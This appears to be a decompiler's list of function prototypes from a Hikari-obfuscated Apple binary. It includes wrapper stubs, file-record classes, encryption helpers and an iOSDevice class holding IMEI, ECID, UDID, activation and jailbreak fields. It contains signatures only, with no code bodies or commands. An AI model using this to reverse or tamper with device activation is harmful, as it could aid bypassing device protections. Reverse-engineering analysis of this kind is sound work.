void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2734();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2735();
char *__fastcall HikariFunctionWrapper_2736(const char *a1);
char *__fastcall HikariFunctionWrapper_2737(const char *a1);
id __fastcall HikariFunctionWrapper_2738(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2739(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2740(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2741(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2742();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2743();
id __fastcall HikariFunctionWrapper_2744(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2745(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2746(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2747(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2748(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2749(void *a1, const char *a2);
int __fastcall HikariFunctionWrapper_2750(FILE *a1);
int __fastcall HikariFunctionWrapper_2751(FILE *a1);
int __fastcall HikariFunctionWrapper_2752(FILE *a1);
int __fastcall HikariFunctionWrapper_2753(FILE *a1);
id __fastcall HikariFunctionWrapper_2754(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2755(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2756(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2757(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2758(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2759(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2760(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2761(void *a1, const char *a2);
Class __fastcall HikariFunctionWrapper_2762(const char *a1);
Class __fastcall HikariFunctionWrapper_2763(const char *a1);
Class __fastcall HikariFunctionWrapper_2764(const char *a1);
Class __fastcall HikariFunctionWrapper_2765(const char *a1);
Method __fastcall HikariFunctionWrapper_2766(objc_class *a1, const char *a2);
Method __fastcall HikariFunctionWrapper_2767(objc_class *a1, const char *a2);
NSString *__fastcall HikariFunctionWrapper_2768(const char *a1);
NSString *__fastcall HikariFunctionWrapper_2769(const char *a1);
id __fastcall HikariFunctionWrapper_2770(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2771(void *a1, const char *a2);
Class __fastcall HikariFunctionWrapper_2772(const char *a1);
Class __fastcall HikariFunctionWrapper_2773(const char *a1);
Method __fastcall HikariFunctionWrapper_2774(objc_class *a1, const char *a2);
Method __fastcall HikariFunctionWrapper_2775(objc_class *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2776(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2777(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2778(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2779(void *a1, const char *a2);
NSString *__fastcall HikariFunctionWrapper_2780(const char *a1);
NSString *__fastcall HikariFunctionWrapper_2781(const char *a1);
int __fastcall HikariFunctionWrapper_2782(const void *a1, Dl_info *a2);
int __fastcall HikariFunctionWrapper_2783(const void *a1, Dl_info *a2);
id __fastcall HikariFunctionWrapper_2784(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2785(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2786(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2787(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2788(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2789(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2790(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2791(NSString *a1);
void *__fastcall HikariFunctionWrapper_2792(const char *a1, int a2);
void *__fastcall HikariFunctionWrapper_2793(const char *a1, int a2);
id __fastcall HikariFunctionWrapper_2794(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2795(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2796(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2797(void *a1, const char *a2);
int __fastcall HikariFunctionWrapper_2798(void *a1);
int __fastcall HikariFunctionWrapper_2799(void *a1);
SEL __fastcall HikariFunctionWrapper_2800(const char *a1);
SEL __fastcall HikariFunctionWrapper_2801(const char *a1);
IMP __fastcall HikariFunctionWrapper_2802(objc_method *a1);
IMP __fastcall HikariFunctionWrapper_2803(objc_method *a1);
id __fastcall HikariFunctionWrapper_2804(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2805(void *a1, const char *a2);
IMP __fastcall HikariFunctionWrapper_2806(objc_method *a1);
IMP __fastcall HikariFunctionWrapper_2807(objc_method *a1);
int __fastcall HikariFunctionWrapper_2808(const void *a1, Dl_info *a2);
int __fastcall HikariFunctionWrapper_2809(const void *a1, Dl_info *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2810(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2811(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2812(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2813(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2814(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2815(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2816(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2817(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2818(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2819(void *a1, const char *a2);
const char *__fastcall HikariFunctionWrapper_2820(uint32_t a1);
const char *__fastcall HikariFunctionWrapper_2821(uint32_t a1);
const mach_header *__fastcall HikariFunctionWrapper_2822(uint32_t a1);
const mach_header *__fastcall HikariFunctionWrapper_2823(uint32_t a1);
unsigned __int8 *__fastcall HikariFunctionWrapper_2824(const void *a1, CC_LONG a2, unsigned __int8 *a3);
unsigned __int8 *__fastcall HikariFunctionWrapper_2825(const void *a1, CC_LONG a2, unsigned __int8 *a3);
void *__fastcall HikariFunctionWrapper_2826(void *a1, const char *a2);
void *__fastcall HikariFunctionWrapper_2827(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2828(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2829(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2830(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2831(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2832(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2833(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2834(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2835(NSString *a1);
void *__fastcall HikariFunctionWrapper_2836(void *a1, const char *a2);
void *__fastcall HikariFunctionWrapper_2837(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2838(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2839(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2840(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2841(void *a1, const char *a2);
int __fastcall HikariFunctionWrapper_2842(FILE *a1);
int __fastcall HikariFunctionWrapper_2843(FILE *a1);
int __fastcall HikariFunctionWrapper_2844(FILE *a1);
int __fastcall HikariFunctionWrapper_2845(FILE *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2846(void *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2847(void *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2848(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2849(void *a1, const char *a2);
unsigned int __fastcall HikariFunctionWrapper_2850(unsigned int a1);
unsigned int __fastcall HikariFunctionWrapper_2851(unsigned int a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2852(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2853(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2854(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2855(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2856(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2857(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2858(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2859(void *a1, const char *a2);
int __fastcall HikariFunctionWrapper_2860(int a1);
int __fastcall HikariFunctionWrapper_2861(int a1);
pid_t HikariFunctionWrapper_2862();
pid_t HikariFunctionWrapper_2863();
unsigned int __fastcall HikariFunctionWrapper_2864(unsigned int a1);
unsigned int __fastcall HikariFunctionWrapper_2865(unsigned int a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2866(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2867(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2868(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2869(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2870(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2871(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2872(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2873(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2874(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2875(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2876(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2877(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2878(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2879(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2880(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2881(void *a1, const char *a2);
pid_t HikariFunctionWrapper_2882();
pid_t HikariFunctionWrapper_2883();
id __fastcall HikariFunctionWrapper_2884(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2885(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2886(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2887(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2888(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2889(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2890(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2891(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2892(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2893(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2894(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2895(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2896(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2897(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2898(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2899(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2900(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2901(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2902(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2903(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2904(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2905(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2906(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2907(void *a1, const char *a2);
Directory *__cdecl -[Directory initWithPath:domain:owner:group:](Directory *self, SEL, id, id, unsigned __int64, unsigned __int64);
id __cdecl -[Directory toRecord](Directory *self, SEL);
unsigned __int64 __cdecl -[Directory owner](Directory *self, SEL);
void __cdecl -[Directory setOwner:](Directory *self, SEL, unsigned __int64);
unsigned __int64 __cdecl -[Directory group](Directory *self, SEL);
void __cdecl -[Directory setGroup:](Directory *self, SEL, unsigned __int64);
unsigned __int64 __cdecl -[Directory mode](Directory *self, SEL);
void __cdecl -[Directory setMode:](Directory *self, SEL, unsigned __int64);
id __fastcall HikariFunctionWrapper_5(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_150(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_151(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_152(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_153(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_154(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_155(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_156(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_157(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_158(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_159(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_160(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_161(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_162(void *a1, const char *a2);
SymbolicLink *__cdecl -[SymbolicLink initWithPath:domain:target:owner:group:](SymbolicLink *self, SEL, id, id, id, unsigned __int64, unsigned __int64);
id __cdecl -[SymbolicLink toRecord](SymbolicLink *self, SEL);
NSString *__cdecl -[SymbolicLink target](SymbolicLink *self, SEL);
void __cdecl -[SymbolicLink setTarget:](SymbolicLink *self, SEL, id);
unsigned __int64 __cdecl -[SymbolicLink owner](SymbolicLink *self, SEL);
void __cdecl -[SymbolicLink setOwner:](SymbolicLink *self, SEL, unsigned __int64);
unsigned __int64 __cdecl -[SymbolicLink group](SymbolicLink *self, SEL);
void __cdecl -[SymbolicLink setGroup:](SymbolicLink *self, SEL, unsigned __int64);
unsigned __int64 __cdecl -[SymbolicLink inode](SymbolicLink *self, SEL);
void __cdecl -[SymbolicLink setInode:](SymbolicLink *self, SEL, unsigned __int64);
unsigned __int64 __cdecl -[SymbolicLink mode](SymbolicLink *self, SEL);
void __cdecl -[SymbolicLink setMode:](SymbolicLink *self, SEL, unsigned __int64);
void __cdecl -[SymbolicLink .cxx_destruct](SymbolicLink *self, SEL);
id __fastcall HikariFunctionWrapper_6(objc_super *a1, const char *a2);
id __fastcall HikariFunctionWrapper_215(objc_super *a1, const char *a2);
uint32_t HikariFunctionWrapper_216();
uint32_t HikariFunctionWrapper_217();
id __fastcall HikariFunctionWrapper_218(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_219(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_220(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_221(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_222(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_223(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_224(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_225(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_226(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_227(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_228(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_229(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_230(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_231(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_232(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_233(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_234(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_235(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_236(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_237(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_238(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_239(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_240(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_241(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_242(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_243(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_244(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_245_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_246_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_247_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_248_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_249_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_250_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_251_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_252_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_253_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_254_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_255_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_256_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_257_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_258_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_259_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_260(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_261(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_262(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_263(void *a1, const char *a2);
void *__fastcall encryptData(void *a1, double a2);
__int64 __fastcall initEncryption(double a1);
id __fastcall decryptData(void *a1, double a2);
id __fastcall HikariFunctionWrapper_7(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_680(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_681(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_682(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_683(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_684(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_685(void *a1);
id __fastcall HikariFunctionWrapper_686(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_687(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_688(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm0,xmm4,xmm5> HikariFunctionWrapper_689(double a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm0,xmm4,xmm5> HikariFunctionWrapper_690(double a1);
id __fastcall HikariFunctionWrapper_691(void *a1);
id __fastcall HikariFunctionWrapper_692(void *a1);
id __fastcall HikariFunctionWrapper_693(objc_class *a1);
id __fastcall HikariFunctionWrapper_694(objc_class *a1);
id __fastcall HikariFunctionWrapper_695(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_696(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_697(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_698(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_699(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_700(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_701(objc_class *a1);
id __fastcall HikariFunctionWrapper_702(objc_class *a1);
id __fastcall HikariFunctionWrapper_703(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_704(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm0,xmm4,xmm5> HikariFunctionWrapper_705(double a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm0,xmm4,xmm5> HikariFunctionWrapper_706(double a1);
id __fastcall HikariFunctionWrapper_707(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_708(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_709(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_710(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_711(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_712(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_713(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_714(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_715(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_716(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_717(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_718(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_719(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_720(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_721(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_722(NSString *a1);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_723();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_724();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm0,xmm4,xmm5> HikariFunctionWrapper_725(double a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm0,xmm4,xmm5> HikariFunctionWrapper_726(double a1);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_727();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_728();
NSString *__cdecl +[iOSDevice SerialNumber](id, SEL);
void __cdecl +[iOSDevice setSerialNumber:](id, SEL, id);
NSString *__cdecl +[iOSDevice IMEI](id, SEL);
void __cdecl +[iOSDevice setIMEI:](id, SEL, id);
NSString *__cdecl +[iOSDevice ECID](id, SEL);
void __cdecl +[iOSDevice setECID:](id, SEL, id);
NSString *__cdecl +[iOSDevice UDID](id, SEL);
void __cdecl +[iOSDevice setUDID:](id, SEL, id);
NSString *__cdecl +[iOSDevice RegionCode](id, SEL);
void __cdecl +[iOSDevice setRegionCode:](id, SEL, id);
NSString *__cdecl +[iOSDevice ProductType](id, SEL);
void __cdecl +[iOSDevice setProductType:](id, SEL, id);
NSString *__cdecl +[iOSDevice iOSVersion](id, SEL);
void __cdecl +[iOSDevice setIOSVersion:](id, SEL, id);
NSString *__cdecl +[iOSDevice ActStatus](id, SEL);
void __cdecl +[iOSDevice setActStatus:](id, SEL, id);
NSString *__cdecl +[iOSDevice Model](id, SEL);
void __cdecl +[iOSDevice setModel:](id, SEL, id);
NSString *__cdecl +[iOSDevice Carrier](id, SEL);
void __cdecl +[iOSDevice setCarrier:](id, SEL, id);
NSString *__cdecl +[iOSDevice JailbreakMode](id, SEL);
void __cdecl +[iOSDevice setJailbreakMode:](id, SEL, id);
NSString *__cdecl +[iOSDevice UniqueKeyAuth](id, SEL);
void __cdecl +[iOSDevice setUniqueKeyAuth:](id, SEL, id);
char __cdecl +[iOSDevice JailbreakStatus](id, SEL);
void __cdecl +[iOSDevice setJailbreakStatus:](id, SEL, char);
char __cdecl +[iOSDevice breakLoop](id, SEL);
void __cdecl +[iOSDevice setBreakLoop:](id, SEL, char);
id __fastcall DetermineModel(id a1);
id __fastcall checkInit(id a1, void *a2);
__int64 __fastcall DetermineModel_2(_QWORD); // weak
__int64 __fastcall __Block_byref_object_copy_(__int64 a1, __int64 a2);
__int64 __fastcall __Block_byref_object_dispose_(__int64 a1);
__int64 __fastcall __checkInit_block_invoke(__int64 a1, __int64 a2, __int64 a3, void *a4);
bool __fastcall IsModelCompatibility(id a1, __int64 a2, __int64 a3, __CFString *a4);
id __fastcall ModifyComCenterDictionary(id a1, id a2);
id __fastcall ucid_to_ecid(void *a1);
id __fastcall HikariFunctionWrapper_8(void *a1, void *a2);
id __fastcall HikariFunctionWrapper_2743_0(void *a1, void *a2);
id __fastcall HikariFunctionWrapper_2744_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2745_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2746_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2747_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2748_0(void *a1, void *a2);
id __fastcall HikariFunctionWrapper_2749_0(void *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2750_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2751_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2752_0(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2753_0(const void *a1, int a2);
